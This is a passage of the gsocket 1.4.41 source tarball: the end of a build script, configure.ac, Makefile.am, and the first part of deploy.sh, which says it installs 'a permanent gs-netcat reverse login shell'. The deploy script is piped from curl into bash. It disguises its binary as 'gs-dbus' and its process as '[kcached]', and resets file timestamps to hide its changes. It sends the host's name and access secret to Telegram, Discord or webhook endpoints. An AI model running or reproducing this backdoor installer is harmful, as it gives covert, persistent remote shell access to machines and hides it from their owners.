[[ "$VER" != "$OWRT_PKG_VERSION" ]] || [[ "$HASH" != "$OWRT_PKG_HASH" ]] && OPENWRT_update_makefile
cp "${FILE}" "${OPENWRTDIR}/dl"
cd "$OPENWRTDIR" && \
git pull && \
nice make -j1 package/gsocket/clean && \
make -j1 V=sc package/gsocket/compile && \
git tag | tail -n1 && \
exit 0
# FAILED
exit 255 gsocket-1.4.41/configure.ac 0000755 0001750 0001750 00000021406 14503376047 015451 0 ustar epsilon epsilon dnl Process this File with autoconf to produce a configure script.
AC_PREREQ([2.69])
AC_INIT([gsocket],[1.4.41])
AC_CONFIG_AUX_DIR(config)
AC_CANONICAL_TARGET
dnl we use automake
AM_INIT_AUTOMAKE([foreign])
AC_CONFIG_HEADERS(config.h)
AM_PROG_AR
dnl for --enable-maintainer-mode fun use:
dnl AM_MAINTAINER_MODE
dnl AC_DISABLE_STATIC
dnl LT_INIT([disable-static])
dnl AC_CONFIG_MACRO_DIRS([m4])
dnl Checks for programs.
AC_PROG_CC
AC_PROG_INSTALL
AC_PROG_RANLIB
AC_CHECK_PROG([MAKE_CHECK], [make], [yes], [no])
AS_IF([test x$MAKE_CHECK = xno], [AC_MSG_ERROR([make not found])])
dnl
dnl Use these compiler flags if we have gcc.
dnl
if test $ac_cv_c_compiler_gnu = yes; then
CCOPTS='-O2 -Wall'
CFLAGS="$CCOPTS $CFLAGS"
fi
test "x$prefix" != "xNONE" || prefix="/usr/local"
test "x$exec_prefix" != "xNONE" || exec_prefix="${prefix}"
dnl Do "gcc -xc -E -v -" to figure out default paths
dnl Scenarios
dnl --prefix=$HOME/usr => -I$HOME/usr/include /usr/include /usr/local/include
dnl --prefix=/usr --includedir=$HOME/usr/include => -I$HOME/usr/include /usr/include /usr/local/include
dnl --prefix=/usr/local --includedir=$HOME/usr/include => -I$HOME/usr/include /usr/local/include /usr/include
dnl default: PREFIX/include unless --includedir=
dnl Try include paths (especially on OSX)
dnl Special consideration if openssl/srp.h exist in $HOME/usr/include
dnl and also the /usr/include/openssl exists. GCC shall use
dnl $HOME/usr/include/openssl/srp.h first but not if $prefix is /usr or any
dnl of the default system paths
dnl To make everyone happy we have to consider:
dnl --prefix=$HOME/usr => Must _first_ add $HOME/usr/include
dnl --prefix=/usr => Must _never_ add /usr/include (or _last_)
test "x$prefix" != "x/usr" && test "x$prefix" != "x/usr/local" && trydir_i="${prefix}/include"
trydir_i="${trydir_i} /usr/local/opt/openssl/include /opt/homebrew/opt/openssl/include"
for xincdir in $includedir $trydir_i ; do
if test ! -d "$xincdir" ; then
continue;
fi
if test x"${INCLUDES}" = x; then
INCLUDES="-I${xincdir}";
else
INCLUDES="$INCLUDES -I${xincdir}";
fi
done
CPPFLAGS="-I${srcdir}/../include ${INCLUDES} $CPPFLAGS"
dnl Try library paths...
test "x$prefix" != "x/usr" && test "x$prefix" != "x/usr/local" && trydir_l="${prefix}/lib"
trydir_l="${trydir_l} /usr/local/opt/openssl/lib /opt/homebrew/opt/openssl/lib"
for xlibdir in $libdir $trydir_l ; do
if test ! -d "$xlibdir" ; then
continue;
fi
if test -f "${xlibdir}/libssl.a"; then
STATIC_LIBSSLDIR="${xlibdir}"
fi
if test x"${LIBDIR}" = x; then
LIBDIR="-L${xlibdir}";
else
LIBDIR="$LIBDIR -L${xlibdir}";
fi
done
LDFLAGS="${LIBDIR} $LDFLAGS"
dnl default perm of .so is 644 but on cygwin must be 755.
PERM_DSO="644"
case "$host" in
*-cygwin*)
PERM_DSO="755"
;;
mips-sony-bsd|mips-sony-newsos4)
AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty])
;;
*-*-ultrix*)
AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty])
;;
*-*-darwin*|*-*-*bsd*)
AC_DEFINE([BSD_SCRIPT], [1], [/usr/bin/script is the bsd variant])
if test x"$(which ar)" != x'/usr/bin/ar'; then
ARDIRWARN=1
fi
;;
esac
dnl debian packaging requires -soname for LD_PRELOAD libs
dnl OSX's linker does not allow -soname.
SONAME_GSOCKET_DSO="-Wl,-soname=gsocket_dso.so.0"
SONAME_GSOCKET_UCHROOT_DSO="-Wl,-soname=gsocket_uchroot_dso.so.0"
case "$host" in
*-*-darwin*)
SONAME_GSOCKET_DSO=""
SONAME_GSOCKET_UCHROOT_DSO=""
;;
esac
dnl Checks for header files.
AC_HEADER_SYS_WAIT
AC_CHECK_HEADERS(sys/time.h sys/endian.h unistd.h fnmatch.h string.h utmp.h utmpx.h pty.h openssl/srp.h util.h libutil.h netinet/in_systm.h sys/loadavg.h libproc.h)
AC_CHECK_HEADER(openssl/srp.h, [], [AC_MSG_ERROR([openssl/srp.h not found. Update OpenSSL or apt install libssl-dev?])])
dnl Checks for typedefs, structures, and compiler characteristics.
AC_C_CONST
AC_TYPE_PID_T
dnl Checks for library functions.
AC_FUNC_MEMCMP
dnl If size_t is not defined, define size_t to be unsigned.
AC_TYPE_SIZE_T
dnl If uid_t is not defined, define uid_t to be int and gid_t to be int.
AC_TYPE_UID_T
AC_ARG_ENABLE(static,
[ --enable-static Compile static binary],
[STATIC="yes"], [STATIC="no"]
)
dnl OSX does not support static binaries.
dnl At least staticly include OpenSSL libs
if test x"${STATIC}" = xyes; then
case "$host" in
*-*-darwin*)
LDADD_STATIC="${STATIC_LIBSSLDIR}/libssl.a ${STATIC_LIBSSLDIR}/libcrypto.a"
AC_DEFINE(HAVE_LIBSSL, 1, [Define to 1 if you have the `ssl' library (-lssl)])
AC_DEFINE(HAVE_LIBCRYPTO, 1, [Define to 1 if you have the `crypto' library (-lcrypto)])
STATIC_SSL="yes"
;;
*)
CFLAGS_STATIC="-static "
;;
esac
fi
AC_CHECK_LIB(util, forkpty)
AC_CHECK_LIB(socket, socket)
if test x"${STATIC}" = xno; then
AC_CHECK_LIB(nsl, gethostbyname)
fi
dnl AC_CHECK_LIB([net], [libnet_name_resolve], [AC_MSG_ERROR([libnet 1.0.x found. Requires libnet 1.1 or newer])])
dnl AC_CHECK_LIB([net], [libnet_init], ,[AC_MSG_ERROR([libnet 1.1.x not found])])
if test x"$STATIC" = xno; then
AC_CHECK_LIB(dl, dlopen)
fi
AC_CHECK_LIB(procstat, procstat_close)
dnl
if test x"$STATIC_SSL" != xyes; then
AC_CHECK_LIB([crypto], [ENGINE_init], [], [AC_MSG_ERROR([libcrypto not found])])
AC_CHECK_LIB([ssl], [SRP_VBASE_get1_by_user], [], [AC_MSG_ERROR([SRP not supported. Please upgrade OpenSSL lib])])
fi
AC_CHECK_FUNCS(gettimeofday memcpy strchr strlcat forkpty openpty getline stat64 open64 statvfs64 accept4 connectx)
AC_ARG_ENABLE([31337],
AS_HELP_STRING([--enable-31337], [Enable experimental features.]),
AC_DEFINE(D31337, 1, [Expermental feature])
)
AC_ARG_ENABLE([stealth],
AS_HELP_STRING([--enable-stealth], [Stip -h and -m strings.]),
AC_DEFINE(STEALTH, 1, [Stealth Mode])
)
AC_ARG_ENABLE([debug],
AS_HELP_STRING([--enable-debug], [Enable debug information.]),
[debug=true AC_DEFINE(DEBUG, 1, [Debug infos])]
)
AC_ARG_ENABLE([tests],
AS_HELP_STRING([--enable-tests], [Enable self-tests.]),
[selftests=true]
)
AS_IF([test x$enable_debug = xyes], AC_DEFINE(D31337, 1, [Expermental feature]))
AS_IF([test x$enable_debug = xyes], [selftests=true])
AS_IF([test x$selftests = xtrue], AC_DEFINE(SELFTESTS, 1, [Self Tests]))
AC_ARG_ENABLE(dist,
[ --enable-dist Enable distribution mode, Use own libraries.],
[DIST="yes"], [DIST="no"]
)
AC_ARG_ENABLE(realprefix,
[ --enable-realprefix Set real prefix (for dpkg packaging)],
[REALPREFIX="${enableval}"], [REALPREFIX="${prefix}"]
)
AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_LIB, "list-test${EXEEXT} event-test${EXEEXT}"))
AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_TOOLS, "packet-test${EXEEXT} readline-test${EXEEXT} console_display-test${EXEEXT} filetransfer-test${EXEEXT}"))
AC_SUBST(LDADD_STATIC, "${LDADD_STATIC}")
AC_SUBST(CFLAGS_STATIC, "${CFLAGS_STATIC}")
AC_SUBST(PERM_DSO, "${PERM_DSO}")
AC_SUBST(SONAME_GSOCKET_DSO, "${SONAME_GSOCKET_DSO}")
AC_SUBST(SONAME_GSOCKET_UCHROOT_DSO, "${SONAME_GSOCKET_UCHROOT_DSO}")
AC_SUBST(REALPREFIX, "${REALPREFIX}")
AC_CONFIG_FILES([Makefile lib/Makefile tools/Makefile include/Makefile include/gsocket/Makefile tools/gsocket.conf man/Makefile examples/Makefile])
AC_OUTPUT
echo "
\"If netcat is a swiss army knife then
gs-netcat is a germanic battle axe\"
--acpizer/United Cracking Force
"
if test x"${STATIC}" = xyes; then
case "$host" in
*-*-darwin*)
echo "
*** OSX does not support static binaries. Creating dynamic binaries ***
*** instead and trying our best to included OpenSSL statically. ***
"
;;
*)
echo "
********************************** WARNING ***********************************
* Your MUST compile OpenSSL like this: *
* openssl-src> *
* ./Configure --prefix=\$HOME/usr no-dso no-threads no-shared linux-generic64 *
* mkdir -p \$HOME/usr && make install_sw *
* Only then compile gsocket \(using the same --prefix=\): *
* gsocket-src> ./configure --prefix=\$HOME/usr --enable-static *
* gsocket-src> make all install *
* gsocket-src> export PATH=\$HOME/usr/bin:\$PATH *
******************************************************************************
"
;;
esac
fi
echo "
${PACKAGE_NAME}-${PACKAGE_VERSION} has been configured:
Host..............: ${host}
Prefix............: ${prefix}
Compiler..........: ${CC}
Compiler flags....: ${CFLAGS_STATIC}${CFLAGS}
Preprocessor flags: ${CPPFLAGS}
Linker flags......: ${LDFLAGS}
Libraries.........: ${LIBS}
Configuration complete. Now type: make all install"
if test x"${ARDIRWARN}" = x1; then
AC_MSG_WARN([Build tools seem to be a mix of GNU and Apple.])
AC_MSG_WARN([Alex, try 'PATH=/usr/bin:\$PATH ./configure'.])
fi
gsocket-1.4.41/Makefile.am 0000755 0001750 0001750 00000000266 14503376047 015220 0 ustar epsilon epsilon SUBDIRS = lib tools man examples include
EXTRA_DIST = README.md config bootstrap tests/Makefile tests/run_all_tests.sh tests/run_gs_tests.sh tests/run_ft_tests.sh LICENSE ChangeLog
gsocket-1.4.41/deploy/ 0000755 0001750 0001750 00000000000 14503376047 014451 5 ustar epsilon epsilon gsocket-1.4.41/deploy/deploy.sh 0000755 0001750 0001750 00000130661 14503376047 016313 0 ustar epsilon epsilon #! /usr/bin/env bash
# Install and start a permanent gs-netcat reverse login shell
#
# See https://www.gsocket.io/deploy/ for examples.
#
# This script is typically invoked like this as root or non-root user:
# $ bash -c "$(curl -fsSL https://gsocket.io/x)"
#
# Connect
# $ S=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)""
# Pre-set a secret:
# $ X=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)"
# Uninstall
# $ GS_UNDO=1 bash -c" $(curl -fsSL https://gsocket.io/x)"
#
# Other variables:
# GS_DEBUG=1
# - Verbose output
# - Shorter timeout to restart crontab etc
# - Often used like this:
# GS_HOST=127.0.0.1 GS_PORT=4443 GS_DEBUG=1 GS_USELOCAL=1 GS_NOSTART=1 GS_NOINST=1 ./deploy.sh
# GS_HOST=127.0.0.1 GS_PORT=4443 GS_DEBUG=1 GS_USELOCAL=1 GS_USELOCAL_GSNC=../tools/gs-netcat GS_NOSTART=1 GS_NOINST=1 ./deploy.sh
# GS_USELOCAL=1
# - Use local binaries (do not download)
# GS_USELOCAL_GSNC=
# - Use local gs-netcat from source tree
# GS_NOSTART=1
# - Do not start gs-netcat (for testing purpose only)
# GS_NOINST=1
# - Do not install gsocket
# GS_OSARCH=x86_64-alpine
# - Force architecutre to a specific package (for testing purpose only)
# GS_PREFIX=
# - Use 'path' instead of '/' (needed for packaging/testing)
# GS_URL_BASE=https://gsocket.io
# - Specify URL of static binaries
# GS_URL_BIN=
# - Specify URL of static binaries, defaults to https://${GS_URL_BASE}/bin
# GS_DSTDIR="/tmp/foobar/blah"
# - Specify custom installation directory
# GS_HIDDEN_NAME="-bash"
# - Specify custom hidden name for process
# GS_DL=wget
# - Command to use for download. =wget or =curl.
# GS_TG_TOKEN=
# - Telegram Bot ID, =5794110125:AAFDNb...
# GS_TG_CHATID=
# - Telegram Chat ID, =-8834838...
# GS_DISCORD_KEY=
# - Discord API key, ="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m"
# GS_WEBHOOK_KEY=
# - https://webhook.site key, ="dc3c1af9-ea3d-4401-9158-eb6dda735276"
# GS_WEBHOOK=
# - Generic webhook, ="https://foo.blah/log.php?s=\${GS_SECRET}"
# GS_HOST=
# - IP or HOSTNAME of the GSRN-Server. Default is to use THC's infrastructure.
# - See https://github.com/hackerschoice/gsocket-relay
# GS_PORT=
# - Port for the GSRN-Server. Default is 443.
# TMPDIR=
# - Guess what...
# Global Defines
URL_BASE="https://gsocket.io"
[[ -n $GS_URL_BASE ]] && URL_BASE="${GS_URL_BASE}"
URL_BIN="${URL_BASE}/bin"
URL_DEPLOY="${URL_BASE}/x"
[[ -n $GS_URL_BIN ]] && URL_BIN="${GS_URL_BIN}"
[[ -n $GS_URL_DEPLOY ]] && URL_DEPLOY="${GS_URL_DEPLOY}"
# STUBS for deploy_server.sh to fill out:
gs_deploy_webhook=
GS_WEBHOOK_404_OK=
[[ -n $gs_deploy_webhook ]] && GS_WEBHOOK="$gs_deploy_webhook"
unset gs_deploy_webhook
# WEBHOOKS are executed after a successfull install
# shellcheck disable=SC2016 #Expressions don't expand in single quotes, use double quotes for that.
msg='$(hostname) --- $(uname -rom) --- gs-netcat -i -s ${GS_SECRET}'
### Telegram
# GS_TG_TOKEN="5794110125:AAFDNb..."
# GS_TG_CHATID="-8834838..."
[[ -n $GS_TG_TOKEN ]] && [[ -n $GS_TG_CHATID ]] && {
GS_WEBHOOK_CURL=("--data-urlencode" "text=${msg}" "https://api.telegram.org/bot${GS_TG_TOKEN}/sendMessage?chat_id=${GS_TG_CHATID}&parse_mode=html")
GS_WEBHOOK_WGET=("https://api.telegram.org/bot${GS_TG_TOKEN}/sendMessage?chat_id=${GS_TG_CHATID}&parse_mode=html&text=${msg}")
}
### Generic URL as webhook (any URL)
[[ -n $GS_WEBHOOK ]] && {
GS_WEBHOOK_CURL=("$GS_WEBHOOK")
GS_WEBHOOK_WGET=("$GS_WEBHOOK")
}
### webhook.site
# GS_WEBHOOK_KEY="dc3c1af9-ea3d-4401-9158-eb6dda735276"
[[ -n $GS_WEBHOOK_KEY ]] && {
# shellcheck disable=SC2016 #Expressions don't expand in single quotes, use double quotes for that.
data='{"hostname": "$(hostname)", "system": "$(uname -rom)", "access": "gs-netcat -i -s ${GS_SECRET}"}'
GS_WEBHOOK_CURL=('-H' 'Content-type: application/json' '-d' "${data}" "https://webhook.site/${GS_WEBHOOK_KEY}")
GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://webhook.site/${GS_WEBHOOK_KEY}")
}
### discord webhook
# GS_DISCORD_KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m"
[[ -n $GS_DISCORD_KEY ]] && {
data='{"username": "gsocket", "content": "'"${msg}"'"}'
GS_WEBHOOK_CURL=('-H' 'Content-Type: application/json' '-d' "${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}")
GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}")
}
unset data
unset msg
DL_CRL="bash -c \"\$(curl -fsSL $URL_DEPLOY)\""
DL_WGT="bash -c \"\$(wget -qO- $URL_DEPLOY)\""
BIN_HIDDEN_NAME_DEFAULT="gs-dbus"
# Can not use '[kcached/0]'. Bash without bashrc would use "/0] $" as prompt.
PROC_HIDDEN_NAME_DEFAULT="[kcached]"
[[ -t 1 ]] && {
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CDR="\033[0;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
CW="\033[1;37m"
}
if [[ -z "$GS_DEBUG" ]]; then
DEBUGF(){ :;}
else
DEBUGF(){ echo -e "${CY}DEBUG:${CN} $*";}
fi
_ts_fix()
{
local fn
local ts
local args
local ax
fn="$1"
ts="$2"
args=() #OSX, must init or " " in touch " " -r
[[ ! -e "$1" ]] && return
[[ -z $ts ]] && return
# Change the symlink for ts_systemd_fn items
[[ -n "$3" ]] && args=("-h")
# Either reference by Timestamp or File
[[ "${ts:0:1}" = '/' ]] && {
[[ ! -e "${ts}" ]] && ts="/etc/ld.so.conf"
ax=("${args[@]}" "-r" "$ts" "$fn")
touch "${ax[@]}" 2>/dev/null
return
}
ax=("${args[@]}" "-t" "$ts" "$fn")
touch "${ax[@]}" 2>/dev/null && return
# If 'date -r' or 'touch -t' failed:
ax=("${args[@]}" "-r" "/etc/ld.so.conf" "$fn")
touch "${ax[@]}" 2>/dev/null
}
# Restore timestamp of files
ts_restore()
{
local fn
local n
local ts
[[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; }
n=0
while :; do
[[ $n -eq "${#_ts_fn_a[@]}" ]] && break
ts="${_ts_ts_a[$n]}"
fn="${_ts_fn_a[$n]}"
# DEBUGF "RESTORE-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts"
done
unset _ts_fn_a
unset _ts_ts_a
n=0
while :; do
[[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break
ts="${_ts_systemd_ts_a[$n]}"
fn="${_ts_systemd_fn_a[$n]}"
# DEBUGF "RESTORE-LAST-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts" "symlink"
done
unset _ts_systemd_fn_a
unset _ts_systemd_ts_a
}
ts_is_marked()
{
local fn
local a
fn="$1"
for a in "${_ts_fn_a[@]}"; do
[[ "$a" = "$fn" ]] && return 0 # True
done
return 1 # False
}
# There are some files which need TimeStamp update after all other TimeStamps
# have been fixed. Noteable /etc/systemd/system/multi-user.target.wants
# ts_add_last [file]
ts_add_systemd()
{
local fn
local ts
local ref
fn="$1"
ref="$2"
ts="$ref"
[[ -z $ref ]] && {
ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" || return
}
# Note: _ts_systemd_ts_a may store a number or a directory (start with '/')
_ts_systemd_ts_a+=("$ts")
_ts_systemd_fn_a+=("$fn")
}
# Determine the Timestamp of the file $fn that is about to be
# created (or already exists).
# Sets $_ts_ts to Timestamp.
# Usage: _ts_get_ts [$fn]
_ts_get_ts()
{
local fn
local n
local pdir
fn="$1"
pdir="$(dirname "$1")"
unset _ts_ts
unset _ts_pdir_by_us
# Inherit Timestamp if parent directory was created
# by us.
n=0
while :; do
[[ $n -eq "${#_ts_fn_a[@]}" ]] && break
[[ "$pdir" = "${_ts_mkdir_fn_a[$n]}" ]] && {
_ts_ts="${_ts_ts_a[$n]}"
_ts_pdir_by_us=1
# DEBUGF "Parent ${pdir} created by us."
return
}
((n++))
done
# Check if file exists.
[[ -e "$fn" ]] && _ts_ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" && return
# Take ts from oldest file in directory
# shellcheck disable=SC2012 #Use find instead of ls => not portable
oldest="${pdir}/$(ls -atr "${pdir}" 2>/dev/null | head -n1)"
_ts_ts="$(date -r "$oldest" +%Y%m%d%H%M.%S 2>/dev/null)"
}
_ts_add()
{
# Retrieve TimeStamp for $1
_ts_get_ts "$1"
# Add TimeStamp
_ts_ts_a+=("$_ts_ts")
_ts_fn_a+=("$1");
_ts_mkdir_fn_a+=("$2")
}
# Note: Do not use global _ts variables except _ts_add_direct
# Usage: mk_file [filename]
mk_file()
{
local fn
local oldest
local pdir
local pdir_added
fn="$1"
local exists
# DEBUGF "${CC}MK_FILE($fn)${CN}"
pdir="$(dirname "$fn")"
[[ -e "$fn" ]] && exists=1
ts_is_marked "$pdir" || {
# HERE: Parent not tracked
_ts_add "$pdir" ""
pdir_added=1
}
ts_is_marked "$fn" || {
# HERE: Not yet tracked
_ts_get_ts "$fn"
# Do not add creation fails.
touch "$fn" 2>/dev/null || {
# HERE: Permission denied
[[ -n "$pdir_added" ]] && {
# Remove pdir if it was added above
# Bash <5.0 does not support arr[-1]
# Quote (") to silence shellcheck
unset "_ts_ts_a[${#_ts_ts_a[@]}-1]"
unset "_ts_fn_a[${#_ts_fn_a[@]}-1]"
unset "_ts_mkdir_fn_a[${#_ts_mkdir_fn_a[@]}-1]"
}
return 69 # False
}
[[ -z $exists ]] && chmod 600 "$fn"
_ts_ts_a+=("$_ts_ts")
_ts_fn_a+=("$fn");
_ts_mkdir_fn_a+=("")
return
}
touch "$fn" 2>/dev/null || return
[[ -z $exists ]] && chmod 600 "$fn"
true
}
xrmdir()
{
local fn
local pdir
fn="$1"
[[ ! -d "$fn" ]] && return
pdir="$(dirname "$fn")"
ts_is_marked "$pdir" || {
_ts_add "$pdir" ""
}
rmdir "$fn" 2>/dev/null
}
xrm()
{
local pdir
local fn
fn="$1"
[[ ! -f "$fn" ]] && return
pdir="$(dirname "$fn")"
ts_is_marked "$pdir" || {
# HERE: Parent is not tracked.
_ts_add "$pdir" ""
}
rm -f "$1" 2>/dev/null
}
# Create a directory if it does not exist and fix timestamp
# xmkdir [directory]
xmkdir()
{
local fn
local pdir
fn="$1"
DEBUGF "${CG}XMKDIR($fn)${CN}"
pdir="$(dirname "$fn")"
true # reset $?
[[ -d "$fn" ]] && return # Directory already exists
[[ ! -d "$pdir" ]] && return # Parent dir does not exists (Huh?)
# Check if parent is being tracked
ts_is_marked "$pdir" || {
# HERE: Parent not tracked
# We did not create the parent or we would be tracking it.
_ts_add "$pdir" ""
}
# Check if new directory is already tracked
ts_is_marked "$fn" || {
# HERE: Not yet tracked (normal case)
_ts_add "$fn" "$fn" # We create the directory (below)
}
mkdir "$fn" 2>/dev/null || return
chmod 700 "$fn"
true
}
xcp()
{
local src
local dst
src="$1"
dst="$2"
# DEBUGF "${CG}XCP($src, $dst)${CN}"
mk_file "$dst" || return
cp "$src" "$dst" || return
true
}
xmv()
{
local src
local dst
src="$1"
dst="$2"
xcp "$src" "$dst"
xrm "$src"
true
}
clean_all()
{
[[ "${#TMPDIR}" -gt 5 ]] && {
rm -rf "${TMPDIR:?}/"*
rmdir "${TMPDIR}"
} &>/dev/null
ts_restore
}
exit_code()
{
clean_all
exit "$1"
}
errexit()
{
[[ -z "$1" ]] || echo -e >&2 "${CR}$*${CN}"
exit_code 255
}
# Test if directory can be used to store executeable
# try_dstdir "/tmp/.gs-foobar"
# Return 0 on success.
try_dstdir()
{
local dstdir
local trybin
dstdir="${1}"
# Create directory if it does not exists.
[[ ! -d "${dstdir}" ]] && { xmkdir "${dstdir}" || return 101; }
DSTBIN="${dstdir}/${BIN_HIDDEN_NAME}"
mk_file "$DSTBIN" || return 102
# Find an executeable and test if we can execute binaries from
# destination directory (no noexec flag)
# /bin/true might be a symlink to /usr/bin/true
for ebin in "/bin/true" "$(command -v id)"; do
[[ -z $ebin ]] && continue
[[ -e "$ebin" ]] && break
done
[[ ! -e "$ebin" ]] && return 0 # True. Try our best
# Must use same name on busybox-systems
trybin="${dstdir}/$(basename "$ebin")"
# /bin/true might be a symlink to /usr/bin/true
[[ "$ebin" -ef "$trybin" ]] && return 0
mk_file "$trybin" || return
# Return if both are the same /bin/true and /usr/bin/true
cp "$ebin" "$trybin" &>/dev/null || { rm -f "${trybin:?}"; return; }
chmod 700 "$trybin"
# Between 28th April and end of May we accidentially
# over wrote /bin/true with gs-bd binary. Thus we use -g
# to make true, id and gs-bd return true (in case it's gs-bs).
"${trybin}" -g &>/dev/null || { rm -f "${trybin:?}"; return 104; } # FAILURE
rm -f "${trybin:?}"
return 0
}
# Called _after_ init_vars() at the end of init_setup.
init_dstbin()
{
if [[ -n "$GS_DSTDIR" ]]; then
try_dstdir "${GS_DSTDIR}" && return
errexit "FAILED: GS_DSTDIR=${GS_DSTDIR} is not writeable and executeable."
fi
# Try systemwide installation first
try_dstdir "${GS_PREFIX}/usr/bin" && return
# Try user installation
[[ ! -d "${GS_PREFIX}${HOME}/.config" ]] && xmkdir "${GS_PREFIX}${HOME}/.config"
try_dstdir "${GS_PREFIX}${HOME}/.config/dbus" && return
# Try current working directory
try_dstdir "${PWD}" && { IS_DSTBIN_CWD=1; return; }
# Try /tmp/.gsusr-*
try_dstdir "/tmp/.gsusr-${UID}" && { IS_DSTBIN_TMP=1; return; }
# Try /dev/shm as last resort
try_dstdir "/dev/shm" && { IS_DSTBIN_TMP=1; return; }
echo -e >&2 "${CR}ERROR: Can not find writeable and executable directory.${CN}"
WARN "Try setting GS_DSTDIR= to a writeable and executable directory."
errexit
}
try_tmpdir()
{
[[ -n $TMPDIR ]] && return # already set
[[ ! -d "$1" ]] && return
[[ -d "$1" ]] && xmkdir "${1}/${2}" && TMPDIR="${1}/${2}"
}
try_encode()
{
local enc
local dec
local teststr
prg="$1"
enc="$2"
dec="$3"
teststr="blha|;id-u \'this is a long test of a very long string to test encodign decoding process # foobar"
[[ -n $ENCODE_STR ]] && return
command -v "$prg" >/dev/null && [[ "$(echo "$teststr" | $enc 2>/dev/null| $dec 2>/dev/null)" = "$teststr" ]] || return
ENCODE_STR="$enc"
DECODE_STR="$dec"
}
# Return TRUE if we are 100% sure it's little endian
is_le()
{
command -v lscpu >/dev/null && {
[[ $(lscpu) == *"Little Endian"* ]] && return 0
return 255
}
command -v od >/dev/null && command -v awk >/dev/null && {
[[ $(echo -n I | od -o | awk 'FNR==1{ print substr($2,6,1)}') == "1" ]] && return 0
}
return 255
}
init_vars()
{
# Select binary
local arch
arch=$(uname -m)
if [[ -z "$HOME" ]]; then
HOME="$(grep ^"$(whoami)" /etc/passwd | cut -d: -f6)"
[[ ! -d "$HOME" ]] && errexit "ERROR: \$HOME not set. Try 'export HOME='"
WARN "HOME not set. Using 'HOME=$HOME'"
fi
# set PWD if not set
[[ -z "$PWD" ]] && PWD="$(pwd 2>/dev/null)"
[[ -z "$OSTYPE" ]] && {
local osname
osname="$(uname -s)"
if [[ "$osname" == *FreeBSD* ]]; then
OSTYPE="FreeBSD"
elif [[ "$osname" == *Darwin* ]]; then
OSTYPE="darwin22.0"
elif [[ "$osname" == *Linux* ]]; then
OSTYPE="linux-gnu"
fi
}
unset OSARCH
# User supplied OSARCH
[[ -n "$GS_OSARCH" ]] && OSARCH="$GS_OSARCH"
if [[ -z "$OSARCH" ]]; then
if [[ $OSTYPE == *linux* ]]; then
if [[ "$arch" == "i686" ]] || [[ "$arch" == "i386" ]]; then
OSARCH="i386-alpine"
elif [[ "$arch" == *"armv"* ]]; then
OSARCH="arm-linux" # RPI-Zero / RPI 4b+
elif [[ "$arch" == "aarch64" ]]; then
OSARCH="aarch64-linux"
elif [[ "$arch" == "mips64" ]]; then
OSARCH="mips64-alpine"
# Go 32-bit if Little Endian even if 64bit arch
is_le && OSARCH="mipsel32-alpine"
elif [[ "$arch" == *mips* ]]; then
OSARCH="mips32-alpine"
is_le && OSARCH="mipsel32-alpine"
fi
elif [[ $OSTYPE == *darwin* ]]; then
if [[ "$arch" == "arm64" ]]; then
OSARCH="x86_64-osx" # M1
# OSARCH="arm64-osx" # M1
else
OSARCH="x86_64-osx"
fi
elif [[ $OSTYPE == *FreeBSD* ]]; then
OSARCH="x86_64-freebsd"
elif [[ $OSTYPE == *cygwin* ]]; then
OSARCH="i686-cygwin"
[[ "$arch" == "x86_64" ]] && OSARCH="x86_64-cygwin"
# elif [[ $OSTYPE == *gnu* ]] && [[ "$(uname -v)" == *Hurd* ]]; then
# OSARCH="i386-hurd" # debian-hurd
fi
[[ -z "$OSARCH" ]] && OSARCH="x86_64-alpine" # Default: Try Alpine(muscl libc) 64bit
fi
# Docker does not set USER
[[ -z "$USER" ]] && USER=$(id -un)
[[ -z "$UID" ]] && UID=$(id -u)
# check that xxd is working as expected (alpine linux does not have -r option)
try_encode "base64" "base64 -w0" "base64 -d"
try_encode "xxd" "xxd -ps -c1024" "xxd -r -ps"
DEBUGF "ENCODE_STR='${ENCODE_STR}'"
SRC_PKG="gs-netcat_${OSARCH}.tar.gz"
# OSX's pkill matches the hidden name and not the original binary name.
# Because we hide as '-bash' we can not use pkill all -bash.
# 'killall' however matches gs-dbus and on OSX we thus force killall
if [[ $OSTYPE == *darwin* ]]; then
# on OSX 'pkill' matches the process (argv[0]) whereas on Unix
# 'pkill' matches the binary name.
KL_CMD="killall"
KL_CMD_RUNCHK_UARG=("-0" "-u${USER}")
elif command -v pkill >/dev/null; then
KL_CMD="pkill"
KL_CMD_RUNCHK_UARG=("-0" "-U${UID}")
elif command -v killall >/dev/null; then
KL_CMD="killall"
# cygwin's killall needs the name (not the uid)
KL_CMD_RUNCHK_UARG=("-0" "-u${USER}")
fi
# $PATH might be set differently in crontab/.profile. Use
# absolute path to binary instead:
KL_CMD_BIN="$(command -v "$KL_CMD")"
[[ -z $KL_CMD_BIN ]] && {
# set to something that returns 'false' so that we dont
# have to check for empty string in crontab/.profile
# (e.g. skip checking if already running and always start)
KL_CMD_BIN="$(command -v false)"
[[ -z $KL_CMD_BIN ]] && KL_CMD_BIN="/bin/does-not-exit"
WARN "No pkill or killall found."
}
# Defaults
BIN_HIDDEN_NAME="${BIN_HIDDEN_NAME_DEFAULT}"
SEC_NAME="${BIN_HIDDEN_NAME_DEFAULT}.dat"
